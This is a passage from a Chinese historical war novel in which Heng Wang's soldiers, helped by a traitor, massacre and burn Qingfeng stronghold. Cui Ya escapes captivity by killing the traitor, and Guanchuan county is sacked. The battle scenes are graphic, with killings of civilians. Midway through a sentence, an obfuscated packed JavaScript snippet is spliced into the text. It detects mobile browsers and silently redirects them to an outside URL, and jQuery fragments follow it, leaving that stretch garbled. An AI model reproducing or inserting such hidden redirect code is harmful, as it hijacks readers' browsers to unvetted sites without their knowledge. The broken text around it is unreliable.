话还没说完,元长安突然感到一阵剧烈的眩晕,她不由得停下脚步,一只手扶住身旁的柱子以维持平衡。人群中的喧闹声似乎在一瞬间变得遥远,她的脸色瞬间失去了血色,豆大的汗珠顺着额头滑落,旧毒的发作让她的身体无法控制地颤抖起来。 陈治察觉到元长安的异常,急忙上前将长枪放在地上,然后扶住她。 “长安,你怎么了?”他焦急地询问,但元长安仅能勉强挤出一丝苦笑,却无法言语。陈治见状,立即意识到情况危急,他一只手拿着长枪,一只手小心翼翼地将元长安半抱半扶着,尽量避开拥挤的人群,寻找最近的药铺。 ----------------- 夜幕低垂,最后一抹夕阳渐渐隐没在群山之后,山寨四周的景致被一层淡淡的暮霭所笼罩。远处的山峦只剩下模糊的轮廓,仿佛是大地沉睡前最后的守护者。 山寨内,零星的火光开始闪烁起来,那是家家户户点燃了油灯或篝火,温暖而昏黄的光芒透过简陋的木窗格子,洒落在崎岖不平的小路上。 远处偶尔传来几声夜鸟的啼鸣,更增添了夜晚的幽静。 突然,一阵轻微的脚步声打破了这份平静,一群黑衣军队如同夜行的幽灵,悄无声息地出现在山寨外围。他们的行动迅速而隐秘,黑色的盔甲在月光下几乎与夜色融为一体,只偶尔反射出一丝寒光。 这些士兵个个身手矫健,脸上涂着黑漆以掩藏面容,他们手持环首刀,腰间挂着各种暗器。队伍中,佟如清头戴黑色面罩、身姿挺拔,用锐利的目光扫视着四周,确保没有任何疏漏。他手中握着一柄长剑,剑鞘上镶嵌着银色的纹饰,在月光下闪烁着冷冽的光芒。 与此同时,在山寨内部,几个身影鬼鬼祟祟地接近了寨门。 “什么人?”守门的小兵看到有几个身影正在向自己靠近,立马拔刀,出声大喊道。 “是我,赵永元。”赵老三一副醉醺醺的模样,身后跟着他的人也换了一副醉酒后的样子,走路摇摇晃晃,但都是向守门的几个小兵靠近。 小兵见是赵老三,松了一口气,将刀收了起来。“原来是三爷呀,吓小的一跳。三爷您这是要出去吗?” 赵老三靠近那个小兵,然后冲他招了招手,小兵一时不查,俯身听赵老三有什么要吩咐的。只听“噗嗤”一声,赵老三用一把短刀干净利落地解决了他。不等其他小兵反应,皆被赵老三带来的人捂住嘴,捅穿了胸口。 “开门迎军。” 随着一声细微的“吱呀”声,紧闭的寨门缓缓开启了一条缝隙。就在这时,黑衣军队如潮水般涌入,速度之快令人难以置信。进寨之后,他们迅速分散开来,控制住各个关键位置。 ----------------- 月光透过稀疏的云层,斑驳地洒在峭壁之上,几十道黑影悄然出现在崖壁上,他们身着紧身黑衣,脸上带着黑色面罩,仿佛融入了黑夜之中。他们动作敏捷而迅速,几乎没有任何声响,只有偶尔传来的轻微金属摩擦声和呼吸声打破了夜的宁静。 飞鹰爪紧紧扣住岩石,身体几乎与崖壁平行,每一步都显得异常稳健,却又急促。 随着一声几乎不可闻的金属摩擦声,六名黑衣人终于到达了地面。他们轻轻地落地,如同一片羽毛落在草地上,没有发出任何声响。不远处,几个守卫正在巡视把守,手持长矛。那几个黑衣人弯下腰,低着头,像一头潜行的猎豹,悄无声息地靠近目标。 小兵们紧握着手中的长矛,分散开来,警惕地扫视着四周。 当距离足够近时,那些黑衣人猛地加速,像一阵风一样扑向毫无防备的守卫们。他们统一左手迅速捂住守卫的嘴,右手同时拔出一把寒光闪闪的匕首,精准无误地刺入了守卫们的心脏。守卫们的眼睛瞬间睁大,充满了惊恐和不解,喉咙里发出微弱的咕噜声,随后身体软软地倒在地上,再也没有了动静。 紧接着,更多的黑衣人陆续从崖壁上爬下,每一个人都以同样的方式悄无声息地解决了附近的守卫。他们的动作干净利落,没有任何多余的声响。每个被解决的守卫都没有机会发出警报,他们的生命就这样无声无息地消逝在黑暗中。 当最后一具尸体无声地倒在草丛中时,整个山寨后方已经完全落入了黑衣人的掌控。他们迅速集结,准备与前门进入的队伍汇合,完成最后的进攻。 15. 火烧清风寨 当后崖爬上来的黑衣人与前门进来的黑甲士兵汇合时,整个行动进入了一个新的阶段。一名黑衣人向佟如清点了点头,示意一切准备就绪。佟如清微微颔首,随即下达了命令。 “按照计划行事,吴将军的大军已经绕过白崇山和黄石堡,马上抵达清风寨。”佟如清的声音低沉而有力,虽然不大,但在寂静的夜晚中却清晰可闻。 “是!” 黑衣人四处窜行,从随身携带的包裹中取出火把,点燃后投向附近的茅草屋。随着茅草被点燃,火焰迅速蔓延开来,照亮了黑暗中的山寨。茅草屋、木屋在干燥的空气中极易燃烧,火势如同野兽般肆虐,吞噬着一切。浓烟滚滚升起,空气中弥漫着烧焦的味道。 “起火了!起火了!”有人惊恐地大喊起来,声音在夜空中回荡,打破了夜晚的宁静。寨民们从睡梦中惊醒,瞬间陷入了混乱和恐慌之中。 妇女们尖叫着抱起孩子,匆忙地冲出家门,脸上写满了恐惧和惊慌。她们的眼中充满了泪水,脚步踉跄,仿佛每一步都在与时间赛跑。孩子们哭泣着紧紧抱住母亲,小手紧紧抓住母亲的衣服,生怕被这突如其来的灾难吞噬。 老人们互相搀扶,步履蹒跚地逃离,他们的脸上布满了皱纹,眼神中透露出深深的无助。有的老人因为行动不便,只能坐在地上哭泣,双手合十祈祷,希望这场噩梦能够快点结束。 然而,寨子里的寨民逃出燃烧的屋子,却要面对那些残暴嗜血的黑衣人。 逃出来的寨民和寨子里的小兵全都拿起武器试图抵抗,但面对训练有素的黑衣人,他们显得力不从心。他们的眼神中既有愤怒也有恐惧,手中的武器在颤抖,每一次挥动都显得无力而绝望。 那些人试图冲杀出去,但很快就被敌人的攻势击溃,倒在血泊之中。 沈老大刚睡下,就听到外面哭叫大喊还有厮杀的声音,他猛地从床上坐起,心中立刻涌起一股不祥的预感。外面的火光透过窗户映入屋内,将房间照得忽明忽暗。他迅速穿上衣服,抓起挂在床头的长刀,冲出了房门。 门外的景象让他瞬间明白了发生的一切。火焰在夜空中肆虐,浓烟滚滚,整个山寨陷入了一片混乱。尖叫声、哭喊声、刀剑碰撞的声音交织在一起,构成了一幅悲惨的画面。寨民们四散奔逃,妇女们抱着孩子,老人互相搀扶,男人手持武器试图抵抗,但很快就倒在血泊之中。 沈老大没想到竟然会发生这种事情,他来不及骇然,来不及悲伤,紧握手中的长刀,迅速穿过混乱的人群。 就在这时,一群黑甲兵突然出现在他的面前,他们身手矫健,动作迅速。为首的黑甲兵手持长剑,“抓住他!”佟如清一声令下,几名手下迅速围了上来,形成一个包围圈。 沈老大深吸一口气,挥舞着长刀,迎向第一个扑上来的黑甲兵。刀光闪烁,伴随着金属碰撞的声音。沈老大的刀法迅猛而精准,一连串的动作干净利落,将几名黑甲兵逼退了几步。 然而,这些黑甲兵显然不是普通的土匪贼寇,而是恒王亲兵。他们训练有素,反应敏捷,很快就调整了战术。几个人同时从不同方向发起攻击,试图通过人数优势压制沈老大。 沈老大左挡右劈,每一招都用尽全力。他的身体如同一头猛虎,在敌人中间穿梭,每一次挥刀都带起一阵风声。尽管面对数倍于己的黑甲兵,他依然毫不退缩,凭借着丰富的战斗经验和过人的武艺,暂时抵挡住了对方的攻势。 突然,佟如清趁机从背后偷袭,一剑砍向沈老大的后背。沈老大虽然有所察觉,但已经来不及完全闪避,背部顿时传来一阵剧痛,鲜血瞬间浸湿了他的衣衫。他咬紧牙关,忍住疼痛,反手一刀砍向佟如清,将其逼退。 ----------------- 而在偏僻的一间简陋木屋内,二当家裹着厚重的被褥,额头上还贴着湿漉漉的布条。他本就因为感染了风寒而显得面色苍白,此刻又被外面传来的吵闹声惊醒,不禁皱起了眉头。 一阵阵咳嗽让他不得不坐起身来,每咳一声都像是要把肺给咳出来一般。他勉强支撑着身体,从床边抓起一件旧衣裳披在肩上,摇摇晃晃地站了起来。 窗外天色已经暗了下来,但山寨中却依旧火光通明,显然有什么不寻常的事情正在发生。二当家定了定神,强忍着不适推开门走了出去。夜晚的凉风吹过,令他不由得打了个寒颤,但这也让他的头脑清醒了几分。 然而,映入眼帘的,却是令他震惊不已的画面。天空中火光冲天,浓烟滚滚,映红了半边夜空。火焰吞噬着几座木屋,噼里啪啦的声音与木材燃烧时发出的爆裂声交织在一起,空气中弥漫着刺鼻的焦味。 更让人揪心的是,从不远处传来阵阵哀嚎和呼救声,那是寨子里的寨民在痛苦中挣扎的声音,还有寨子里的弟兄拼杀的怒吼。 二当家的心猛地一沉,他没想到竟然突发如此严重的状况。尽管身体仍旧虚弱,但他立刻意识到情况危急,需要立即采取行动。强忍着咳嗽和头晕,二当家快步向沈老大住的地方走去。 然而,就在他快要到达之时,两道黑影突然从半空中闪过,挡住了他的去路。 二当家立刻意识到今晚的事情,一定跟他们有关系。 还没等二当家开口询问,黑衣人便发动了攻击,动作快如闪电。二当家虽然病体未愈,但多年习武让他能够勉强躲过致命的一击。 三人在狭窄的小巷里展开了激烈的搏斗,二当家利用周围的环境作为掩护,试图寻找反击的机会。尽管如此,由于体力上的劣势,二当家逐渐处于下风。 ----------------- 夜色如墨,几道火光在东山树林闪烁,十几个身穿黑甲、手持环首刀的人正对着一男一女紧追不舍。 终于,在月光下,水流湍急的天河出现在沈让和沈清棠的面前,河水在夜色中显得格外冰冷。背后,黑甲人的脚步声越来越近,空气中弥漫着紧张和绝望的气息。 两人已经到了河边,无路可退。 那几个黑甲兵迅速包围上来,眼中情绪毫无波澜。 沈让将沈清棠护在身后,双锤握得更紧了。 “清棠,我一定会保护好你的。” 第一个黑甲兵率先发起攻击,环首刀直刺而来。沈让侧身一躲,同时挥动右手的铁锤,重重地砸向对方的手腕。随着一声清脆的金属碰撞声,黑甲兵的刀被震开。紧接着,沈让用左手的铁锤横扫过去,击中了对方的腹部。那名黑甲兵痛呼一声,倒退了几步,脚边是一摊血迹。 “给我上!” 为首的黑甲兵一挥手,其他人蜂拥而上。沈让用铁锤抵挡住来自三面的攻击,每一击都让黑甲兵感到巨大的冲击力。 一位黑甲人从侧面偷袭,沈清棠见状大喊道:“小心右边!” 沈让顺势一个转身反击,铁锤直接砸在他的肩胛骨上,发出沉闷的响声,那人立刻失去了战斗力,趴在地上,吐出一滩鲜血。 因为黑甲兵人数多,而沈让又要保护沈清棠。他的动作开始变得迟缓,呼吸也更加急促。这时,一名黑甲兵察觉到沈清棠这个破绽,挥刀直奔沈清棠。沈让心道不好,来不及思考就挡在沈清棠的面前。 长刀砍在沈让的后背,他用尽全身力气,猛然转身挥动铁锤,将对方的武器打得脱手而出,然后顺势一脚踢开了那名黑甲兵。 “沈让!” 因为沈让背对着沈清棠,将她护在身后。他背后的那道伤口,触目惊心,让沈清棠的眼眶红润,话都说不出来。 眼看形势越来越不利,沈让做出了最后的决定。他丢下双锤,一把拉过沈清棠的手,紧紧握住。并且回头看向她,目光交汇间,彼此心意相通。“跟我一起跳!” 沈让最后看了一眼这些黑甲兵,然后和沈清棠一起,毫不犹豫地跃入了湍急的河流中。冰冷的河水瞬间包裹住了他们,但这也意味着他们暂时逃离了死亡的威胁。 岸上的黑甲兵们只能眼睁睁看着两人的身影顺着河流消失,虽然不放心,但他们并未立即跳入河中追赶,而是站在岸边看着他们的身影消失。 “撤!” ----------------- 崔涯身处一片混乱之中,四周是惊慌失措的人群、四处奔逃的身影以及奋力拼杀的小兵。就在这时,五六个身着黑衣、面目隐匿于黑暗之中的人悄无声息地围了上来。 他们动作迅速而默契,将崔涯团团包围。崔涯虽然心中警觉,但面对突如其来的攻击还是显得有些措手不及。他紧握手中长剑,试图寻找突围的机会。然而,这些黑衣人不仅数量上占据优势,在武艺上也非同小可,每一个都如同鬼魅般难以捉摸。 刀光剑影之间,火花四溅。 崔涯凭借着一身过硬的功夫与黑衣人周旋,几次险些突破重围,但总是在最后一刻被对方阻挡下来。随着打斗持续进行,崔涯逐渐感到体力不支,汗水从额头顺着脸颊滑落至脖颈。 崔涯不慎被一名黑衣人踢中膝盖,身体失去平衡倒在地上。趁此机会,黑衣人们一拥而上,其中一人用一记精准的锁喉将其制服,其他人以迅雷不及掩耳之势控制住了崔涯的手脚。尽管崔涯拼命挣扎,但在如此不利的情况下,终究难逃被活捉的命运。 ----------------- 受伤后的沈老大动作明显迟缓了许多,每一步都显得异常沉重。他的大喘着粗气,汗水与血水混杂在一起,滴落在地。尽管如此,他依然咬紧牙关,试图继续抵抗。但是,随着体力的不断流失,沈老大的动作越来越无力,攻势也变得不再连贯,只能勉强招架敌人的进攻。 黑甲兵们见状,攻势更加猛烈。他们似乎已经看出了沈老大的虚弱,开始更加紧密地围攻。沈老大节节败退,一步步向后退去,直到背靠一面燃烧中的木墙,再无退路。这时,佟如清抓住了机会,他眼中闪过一丝冷酷的光芒,手持长剑迅速上前。 沈老大拼尽最后一点力气想要抵挡,但终究还是太迟了。佟如清的剑刃如同毒蛇般快速而致命,直接穿透了他的心脏。那一刻,沈老大感到一股冰冷刺骨的感觉从胸口蔓延开来,随后是一片黑暗。他的身体缓缓倒下,眼中最后一丝光芒也随之熄灭。 “沈经臣!” 二当家身上多处负伤,衣服上沾满了血迹和尘土。他是刚从那些黑衣人的手中逃脱,却看到沈老大趴在地上,鲜血染红了他的前襟和后背。 “啊——!”二当家跪倒在沈老大身旁,双手颤抖地扶起沈老大的头,泪水不禁涌出眼眶。 “你们这些畜生!”他的声音中带着悲痛与愤怒,捡起地上沈老大的刀,站起身怒视着周围的黑甲兵,眼中燃烧着仇恨的火焰。 然而,就在这时,一阵急促而整齐的马蹄声从山寨外传来。一群身穿鲜红色战袍、手持长矛的赤衣兵突然出现在视野中。 当黑甲兵、黑衣人与寨子中的人激战正酣时,赤衣兵们已经完成了对山寨的包围,并在吴永善的带领下,迅速突破了寨门。这些赤衣兵一进入山寨,便迅速分散开来,形成了一道严密的攻击线。他们张弓搭箭,蓄势待发。 佟如清吹了一声口哨,所有黑甲兵和黑衣人全都撤到赤衣兵的身后。 箭矢如雨点般落下,速度太快,许多人还没来得及做出反应就已经中箭倒地,只留下一声声惨叫,此起彼伏。 二当家抬头望向天空,只见无数利箭划破夜空,带着死亡的气息飞速而至。他本能地挡在已经没了呼吸的沈老大身前,奋力挥刀,试图替他挡开箭矢。但数量实在太多,几支箭矢深深地刺入了他的身体。 二当家感到一阵剧痛,力量瞬间流失,手中的刀掉落在地。他踉跄了几步,最终无力地跪倒在地。 二当家抬头看向天空,眼中依然燃烧着不屈的火焰,但生命的力量正在迅速消逝。他最后看了一眼倒在地上的沈老大,心中充满了遗憾与不甘。随着最后一口气息的离去,二当家的身体缓缓倒下,双眼仍然睁开着,仿佛在诉说着无尽的悲愤与不屈。 今夜,在这片燃烧的山寨中,除了被活捉的崔涯、跳河的沈让和沈清棠、外出的元长安和陈治以及叛变的赵老三,无一人生还。 事毕,吴永善没有过多停留。他命令佟如清带着黑甲兵留在清风寨驻守,而自己则立即发兵黄石堡,与在庆泽县的柳全一起,包围黄石堡里的许文达驻兵。 “事不宜迟,佟司马这里就交给你了。” 佟如清斩钉截铁道:“末将一定守好清风寨,等将军南下定襄凯旋!” ----------------- 房间里弥漫着一股淡淡的药草香气,元长安躺在榻上,脸色苍白,额头上沁出了细密的汗珠,她的呼吸急促而不规律,眉头紧皱,身体因疼痛而微微颤抖。旧毒复发,像是体内有一团火焰在熊熊燃烧,让她难以忍受。 程大夫坐在床边,把着元长安的脉搏,眉心一蹙,时不时用另一只手捋着自己下巴处的花白胡子。屋内除了偶尔传来的煎药声外,几乎听不到任何声响,只有窗外偶尔飘过的几声鸟鸣,打破了这份宁静。 陈治走进房间,手中端着一碗刚刚熬好的草药。正好程大夫也把完脉,就给陈治让出了位置让他坐下。 陈治坐下之后,感谢地点了点头,道:“程大夫,长安已经昏迷了一天一夜,何时能醒过来?” 程大夫看了看病床上的元长安,又看了看陈治,然后轻声道:“老夫也不是很清楚,不过你手里的那碗药能让她恢复气血,趁热给她服下,或许能帮助她更快地醒来。” “那她体内的毒,可能解?” “老夫已经尽力了。她的毒似乎是从娘胎里带来的,老夫行医多年,见过不少疑难杂症,唯有她身上的毒,老夫实在是不知道是何毒。所以,暂且不能对症下药,现在只能等她自己慢慢恢复。”程大夫想起元长安的脉象,摇了摇头,惋惜道:“老夫再配制一些新的药剂,希望能有些用处。” 程大夫离开后,他小心翼翼地扶起元长安,将药碗凑近元长安的唇边,用勺子一点点地喂给她喝。虽然她仍处在昏迷中,但陈治依旧耐心地重复这个动作。 喝完药,陈治将元长安轻轻地放回床上,然后找来一块手巾擦拭她额头上的汗珠。随着时间慢慢流逝,元长安的脸色逐渐有了些血色,眉宇舒展,呼吸也变得更加均匀。 “陈大哥,元姑娘醒了没有?”柔儿背着竹篓推门进来,看到紧闭双眼的元长安,“怎么还没有醒?” 陈治握着她的手,“刚喝完药,应该快醒了。对了,这次谢谢你,要不是你,我和长安人生地不熟的,都不会的该怎么办了。” 元长安在大街上发病,陈治扶着她在四处找药铺。正巧碰到在街边摆摊子的柔儿,在她的帮助下,陈治和元长安找到了这家虽位置偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142855|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僻但大夫医术很好的药铺。 柔儿卸下竹篓,从里面拿出几个糙面馒头放在桌子上,“这是我买的馒头,你趁热吃。” 对于柔儿的倾心相助,陈治感激不尽。昨天给她钱,她也没要。于是他站起身,朝着柔儿深深一礼:“柔儿姑娘之恩,怀久没齿难忘。” 柔儿竟有些不知所措,她欲言又止,手指紧紧攥着竹篓。良久,她道:“若陈大哥当真想还我这一恩情,就给我取个名字吧。” 面对陈治的诧异,柔儿自嘲道:“我本是成平郡平顺县人,刚出生的时候,父母因为吃不上饭,就把我卖给了戏班子当丫环。后来跟着戏班子里的人,几经辗转,来到了这里。 班里的花旦柔儿被当官儿的折磨死了,班主知道我也会唱戏,就让我顶着柔儿的名字和位置。 你也知道如今的世道太乱了,平顺县来来回回不知道经历过多少兵马,戏班子黄了,我也就逃了出来。我没有名字,就一直以别人的名字活着。” 柔儿回忆着过往,眼眶红润,然后看向陈治,一脸微笑:“我知道陈大哥是文化人,如果陈大哥真的想感谢我,就给我起个名字吧。” 陈治的脑海里闪过好多名字,可他总觉得哪个都配不上她。 “承天之佑,安乐未央。就取‘安乐’二字,祝你余生安稳快乐。” 安乐很喜欢这个名字,不仅好听,更重要的是寓意好。 “谢谢陈大哥!”安乐再次将竹篓背在身后,“我要去街上摆摊,陈大哥若是有什么事情,尽管到街上去找我。” “多谢。” “等元姑娘醒了,我给你们唱一段!我唱戏可好听了!” 陈治再次道谢,目送着安乐开心的背影离开。 ----------------- 崔涯被佟如清关押在尚未被火势吞蚀的一处柴房里,双手被紧紧绑在一根木桩上。柴房内昏暗潮湿,空气中弥漫着霉味和木屑的气息。 不一会儿,门吱呀一声被推开,一个身影走了进来。崔涯抬头一看,是赵老三。这一刻他眼底情绪复杂,有不解、有愤恨、有厌弃,不过转瞬之间只剩下冷漠。 “怎么?没想到会是我?”赵老三大喇喇地坐在崔涯的面前,看着他头发散乱,一身狼狈的模样,心里有了很大的快感。 崔涯瞪着他,怒斥道:“天河神不会放过你!你不会有好下场的!” 天河神是清风寨的守护神。因清风寨位于天河上游,且天河是整个山寨的生命之源,故而寨民对天河的崇拜和敬仰,诞生了天河神。 赵老三哈哈大笑起来,对崔涯的话毫不在意。因为他从来就不信这些鬼神之说,只信黄白之物,因为那最实在。 “好下场?我早就得到了。就你们这小小的山寨,还挺值钱。从我给他们传信开始,每一次消息都会多加一锭银子。” 崔涯没有再说话,而是默默地观察着四周的环境。他知道现在必须冷静下来,寻找逃脱的机会。柴房虽然简陋,但并不缺乏可以利用的东西。他注意到脚边有一块锋利的碎木片,心中顿时有了主意。 “你真以为你能平安无事吗?”崔涯继续用言语吸引赵老三的注意力,“赵永元,你太无知了。恒王的目的从来就不是清风寨,而是京畿九郡乃至天下。你不过就是他的一个小小的棋子,现在寨子已经攻破,你觉得他还会看重你吗?” 赵老三冷笑一声:“恒王看不看重我,我不在乎。反正,我看重的只有钱,其他的,无所谓。有了钱,天下任我逍遥!” 就在赵老三得意洋洋的时候,崔涯迅速反手解开捆绳,拿在手上。然后低下头,用脚尖轻轻勾着那块碎木片,将它勾到离自己最近的地方。接着,他突然问道:“那你可知道在清风寨,有一份藏宝图,听说是前齐全福公主的墓□□。赵永元,你在清风寨多年,想必也有所耳闻吧?” 果不其然,赵老三很感兴趣。在清风寨里待了这么多年,他也曾听老人提起过,只不过自己找了几次没找到,甚至也拐弯抹角地问了很多人,他们都说没有这回事儿。所以赵老三认为那只是传说而已,信不得。 现在崔涯又提起了这个事情,还是让他心动。不过,他面上不显,只是眼中无意间流露的兴奋和贪婪出卖了他。 “我和你做比交易,你放了我,我给你说藏宝图在什么地方。怎么样,划不划算?”崔涯继续道。 赵老三嘴唇动了动,但是转念一想,他道:“我凭什么相信你?如果我放了你,你反悔了怎么办?” 崔涯笑出声来:“我姓崔,你可知道是哪个崔?” “你想说什么?” “我的崔是前齐长盈翁主(镇国全福公主的女儿)的丈夫、临川崔二郎的那个崔。你说,你信不信我?” 崔涯的话,让赵老三信了几分。临川崔氏是前齐的四大世家之一,更是与齐朝皇室联姻百年,直至崔氏被丁氏取而代之。 而齐武帝年间,镇国全福公主之女长盈翁主与临川崔氏崔二郎结亲确有其事。赵老三斟酌片刻,冲着崔涯道:“还有能说服我的理由吗?” 崔涯用眼神示意赵老三看看自己身上伤痕累累,“你看我现在,浑身是伤。就算骗了你,我也跑不了。说不定刚走几步,就被你抓回来了。你要是实在不愿意相信,我可以先告诉一半我所知道的,关于藏宝图的消息。怎么样?” 赵老三看了看崔涯身上的伤,真的是一块好地方都没有,皮肉上的伤口外翻,鲜血淋漓。他动容了,“行吧,我暂且信你一回。你若骗我,我就杀了你。” “那你凑近点,小心隔墙有耳。” 赵老三不疑有他,走上前来,靠近他,附耳过去。就在这时,崔涯突然松开手上的捆绳,然后抓起地上的碎木片,同时猛地向前一冲,用尽全身力气将手中的碎木片直刺对方的心脏。赵老三猝不及防,惊恐地瞪大了眼睛,试图闪避,但已经太迟了。碎木片深深地刺入了他的胸膛,鲜血瞬间涌出。赵老三痛苦地呻吟了一声,缓缓倒在地上,眼神中充满了不可思议和恐惧。 “我说过,天河神不会放过你的。” 崔涯喘着粗气,低头看着倒在地上的赵老三,心中涌起一丝复杂的情绪。 而屋内所发生的一切,皆被窗外的黑影看的一清二楚。 正当崔涯颤颤巍巍地站起身,就听到窗外传来一阵低沉的声音:“你干得不错,能在如此绝境中反败为胜,确实有两下子。” 崔涯拔出刺中赵老三胸膛的碎木片,警惕地看着窗外的黑影,语气充满了戒备:“你是谁?为什么在这里?” 黑影没有回答他的问题,而是继续说道:“我一直在观察你,你很不错。不过,山寨已经被恒王的亲兵控制,单凭你一人之力是无法扭转局势。而且,你现在的生死,也由不得自己。” 崔涯的眼神变得更加锐利,“你到底想说什么?” “京畿的主要势力有四位,皇室、吴王、恒王和周城侯。你若想活着给清风寨死去的人报仇,就要学会寻找拥有共同敌人的主子。崔涯,有时候解决问题的关键,并不在于力量,而在于选择。” 说完这句话,黑影便悄然退去,消失在夜色之中,仿佛从未出现过一样。崔涯站在原地,思绪万千。在京畿,所有的势力之间,都存在着永久的对立以及暂时的结盟。 皇室、吴王、周城侯,崔涯不知道自己该如何选择…… 16. 冠川陷敌手 万续元年,周城侯许文达与定襄郡太守马绍宗合兵一处,进逼常山王郑少华之封邑常山郡。 与此同时,恒王郑吉破厉阳郡白崇山之固守,迂回曲河之畔,挥师南向直取定襄。京中尤太后诏令其弟尤秉华径出临川郡之境,以图恒王之领地少陵郡。 战云密布,干戈将兴。 ----------------- 陈治刚喂完今日份的汤药,就看到元长安的眼皮微微颤动,缓缓睁开了眼睛。她的眼神还带着些许迷茫,但很快就聚焦在了陈治关切的脸上。 “你醒了,感觉怎么样?” 元长安试着开口,声音有些沙哑:“我感觉现在好多了。”然后她在陈治的帮助下,坐起身来环顾四周,是陌生的环境,“这不是清风寨,这是哪里?” 陈治替她掖好被子,解释道:“算上今天,你昏迷了整整三天。而且昏迷的时候,浑身发抖,只能在这里住下。” “三天?这次昏迷的时间挺短的。” 元长安说着,掀开被子就要下床,被陈治阻拦:“你刚醒,还是要好好躺着,不能乱动。” “不用。”元长安推开陈治阻拦的手,道:“我的身体我自己心里清楚,况且这又不是第一次了,没什么好担心的。我们在冠川县待了三天,得赶紧回去,要不然大当家他们该着急了。对了,你有没有给大当家他们传信?” 陈治这才想起来这个问题:“是我忙忘了。” 元长安心里清楚,肯定是自己昏迷了三天,把他吓着了,这才忘了给寨子里传信。“没事,我们现在回去就行。要不然多待一天,大当家他们就多担心一天。” 她刚说完话,程大夫就进来了,“你这女娃的毅力不是一般的强,老夫还以为你得昏迷个七天半个月的,没想到三天就醒了。正好,刚配的新药方,趁热喝。” 元长安先是看看陈治,见他冲自己微微点了点头,然后就接过程大夫递来的汤药,一口气直接闷。 “你体内的毒,老夫没办法根治,但能抑制。这个方子你们拿去,最好每天不能断。如果实在不行,那就毒发的时候喝,抑制的快些。”程大夫将药方还有几贴药放到桌子上,转身就走。 元长安喝完药还没反应过来,陈治就已经将药方妥善收好,手上提着药包。“这药方还是我给你拿着吧,你拿着我不放心。”元长安见他把药方装进自己腰间的荷包里面,没有说话。 他们二人付过药钱向程大夫拜别,一出门就碰到了背着竹篓的安乐。 “元姑娘醒啦?”安乐见陈治一只手拿着长枪,一只手扶着元长安,问道:“你们这是要去哪儿?” 陈治道:“出来三天,还没有给寨子传信。现在长安已经醒了,我们还是早点回去吧。” 然而,安乐却变了脸色,一副欲言又止的模样。陈治察觉她的异样,出口问道:“你是不是有什么话要说?” 安乐看了一眼脸色稍显疲惫的元长安,抿了抿唇,开口道:“清风寨,被恒王攻占,整个寨子都被烧了。” “你说什么?!”元长安挣脱开呆愣的陈治,大步向前抓住安乐的双臂,好不容易恢复红润的脸仅一刹那变得惨白,“你再说一遍?” 安乐知道她刚恢复,但有些事情不说她也会知道。于是,她说道:“街上都已经传遍了,而且我还特意问了几个从清阳县回来的人,他们说三天前恒王火烧清风寨,寨子里的寨民一个都没活下来。” “不可能!”元长安大声吼道,她的声音引得街上的行人纷纷驻足。“你在骗我对不对?” 而她身后的陈治,听到清风寨的消息,身体一颤,靠在门框上勉强站稳。他也不愿意相信的,可是安乐没有骗他们的理由。 安乐也想说自己是在骗他们,可是冠川县已经传遍了,清阳县里那个替天行道的清风寨,一夜之间被恒王烧了个干干净净,寨民也被屠杀干净。 老天并没有给陈治和元长安悲伤的时间,只听见阵阵号角声——敌军攻城了! 城楼之上的烽火台已经燃起了熊熊大火,浓烟直冲云霄,两名小兵在街上骑快马,一个人吹号角,一个人大声叫嚷:“敌军攻城,速速撤离!” 一时之间,原本热闹的市集变得一片狼藉,摊贩四散奔逃,留下的是翻倒的摊位和散落一地的商品。马车慌乱地在街上疾驰而过,扬起一阵尘土。 敌军的速度很快,先是随着一声巨响,沉重的城门不堪重负,轰然倒塌。紧接着敌军如潮水般涌进城内,铁蹄踏过石板街道,发出震耳欲聋的声音。他们的盔甲在夕阳下闪烁着冷冽的光芒,马蹄声与兵器碰撞的声响交织在一起,打破了往日的热闹。 城内的士兵们还没有集结、百姓还没有疏散完毕,尤秉华所率领的皇室金卫兵已经在城内大开杀戒,大肆掠夺。 看!在狭窄的巷道里,一名年轻的妇女抱着孩子试图逃跑,但很快就被几名金卫兵追上。她绝望地呼喊着,但无人能伸出援手。士兵们粗暴地将她手中的孩子抢走扔在地上,然后将她推倒在地,肆意践踏。孩子痛苦的哭声在混乱中显得格外凄厉,但很快就被四周的喧嚣所淹没。 看!不远处的一家商铺前,店主正试图用身体挡住大门,保护自己辛苦积累的财物。然而,几个强壮的金卫兵一刀捅穿他的身体,厌弃地将他往旁边一推,然后毫不费力地撞开了门,冲入店内,开始翻箱倒柜。金银首饰、珍贵的布匹以及各种值钱的物品被他们装进麻袋,随后一把火点燃了店铺,熊熊大火瞬间吞噬了一切。 看!在县城的另一角,一座豪华的府邸也无法幸免于难。金卫兵闯入府邸,见人就杀,见物就抢。精美的瓷器被砸碎,古董书画被撕毁,甚至连家具也被一把火烧尽。府邸的主人是一位年迈的老者,他跪在地上苦苦哀求,但只换来了无情的刀剑。他的家人死于屠刀,他的家园化为灰烬。 街道上,到处都是惊慌失措的人群。一些老人和孩子无力逃跑,只能蜷缩在角落里哭泣。金卫兵骑马穿梭其间,挥舞着武器,随意砍杀那些挡路或试图反抗的人。鲜血染红了石板路,尸体横陈街头,前一刻还是繁华县城,下一刻就变成了人间地狱。 元长安护着陈治和安乐一路逃窜,不知道杀了多少个追杀他们的金卫兵。当一队金卫兵从他们藏身之处略过时,皆在心里松了一口气。 然而,一只老鼠从他们身边一窜而过,安乐被吓得惊叫出声,引起了刚走过的那一队金卫兵的注意。 “那边有人!” 元长安自知不妙,带着陈治和安乐在小巷子里穿梭,试图摆脱那些金卫兵。然而,那些金卫兵紧追不舍,将他们三人追至死胡同。元长安手持长生枪,将陈治和安乐护在身后。 为首的金卫兵二话不说,直接下令:“男的就地处死,女的带走!” 那几个金卫兵得令之后,立刻扑了上来。其中一个金卫兵举着矛刺向元长安的胸膛。元长安脚步轻移,侧身避开了这一击,同时手中的长生枪横在卫兵的腹部前,用力一挥。一声惨叫后,金卫兵飞出数十米,手中的长矛也脱手落地。 